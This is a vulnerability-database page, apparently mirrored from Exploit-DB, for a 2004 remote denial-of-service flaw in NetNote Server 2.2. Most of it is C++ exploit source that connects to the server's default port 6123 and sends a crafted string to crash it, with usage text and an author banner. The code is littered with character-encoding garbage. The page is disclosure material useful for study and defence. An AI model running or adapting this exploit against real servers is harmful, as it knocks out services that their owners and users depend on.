AlShare Software NetNote Server 2.2 - Remote Denial of Service

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1054762 漏洞类型
发布时间 2004-11-13 更新时间 2004-11-13
CVE编号 N/A CNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/24738
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/11677/info

NetNote server is reported prone to a remote denial of service vulnerability. This issue occurs because the application does not handle exceptional conditions properly.

NetNote server 2.2 build 230 is reported vulnerable to this issue, however, it is likely that other versions are affected as well.

*/
�
#include "winsock2.h"
#include "fstream.h"
�
#pragma comment(lib, "ws2_32")
�

static char payload[100];
�
char crash[]="\x90\x90\x90\x90\x20\x20\x20\x20";
�
void usage(char* us);
WSADATA wsadata;
void ver();
�
int main(int argc,char *argv[])
{
�ver();
�if ((argc<3)||(argc>4)||(atoi(argv[1])<1)||(atoi(argv[1])>1)){usage(argv[0]);return -1;}
�if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){cout<<"[+] wsastartup error: "<<WSAGetLastError()<<endl;return -1;}
�int ip=htonl(inet_addr(argv[2])), port;
�if (argc==4){port=atoi(argv[3]);}
�else port=6123;
�SOCKET s;
�struct fd_set mask;
�struct timeval timeout;
�struct sockaddr_in server;
�s=socket(AF_INET,SOCK_STREAM,0);
�if (s==INVALID_SOCKET){ cout<<"[+] socket() error: "<<WSAGetLastError()<<endl;WSACleanup();return -1;}
�server.sin_family=AF_INET;
�server.sin_addr.s_addr=htonl(ip);
�server.sin_port=htons(port);
�WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL);
�timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
�switch(select(s+1,NULL,&mask,NULL,&timeout))
�{
��case -1: {cout<<"[+] select() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
��case 0: {cout<<"[+] connect() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
��default:
��if(FD_ISSET(s,&mask))
��{
���cout<<"[+] connected, sending the bad string..."<<endl;
���Sleep(1000);
���if (atoi(argv[1]) == 1){strcat(payload,crash);}
���strcat(payload,"\r\n");
���Sleep(1000);
����� if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { cout<<"[+] sending error, the server prolly rebooted."<<endl;return -1;}
���Sleep(1000);
���if (atoi(argv[1]) == 1){cout<<"[+] payload send, the NetNote server should be crashed."<<endl;}
���return 0;
��}
�}
�closesocket(s);
�WSACleanup();
�return 0;
}
�

void usage(char* us)
{�
�cout<<"USAGE: 101_netn.exe Method Ip Port\n"<<endl;
�cout<<"TARGETS:������������������������������ "<<endl;
�cout<<"����� [+] 1. Crash NetNote Server� (*)"<<endl;
�cout<<"NOTE:������������������������������ "<<endl;
�cout<<"����� The port 6123 is default if no port are specified"<<endl;
�cout<<"����� The exploit crash the server."<<endl;
�cout<<"����� A wildcard (*) mean Tested."<<endl;
�return;
}
�
void ver()
{�
cout<<endl;
cout<<"������������������������������������������������������������������ "<<endl;
cout<<"������� ===================================================[v0.1]===="<<endl;
cout<<"������� ===NetNote Server v2.2, Free Electronic Notes for Windows===="<<endl;
cout<<"������� ========Remote Crafted String Vulnerability=================="<<endl;
cout<<"������� ====coded by class101===========[DFind.kd-team.com 2004]====="<<endl;
cout<<"������� ============================================================="<<endl;
cout<<"������������������������������������������������������������������ "<<endl;
}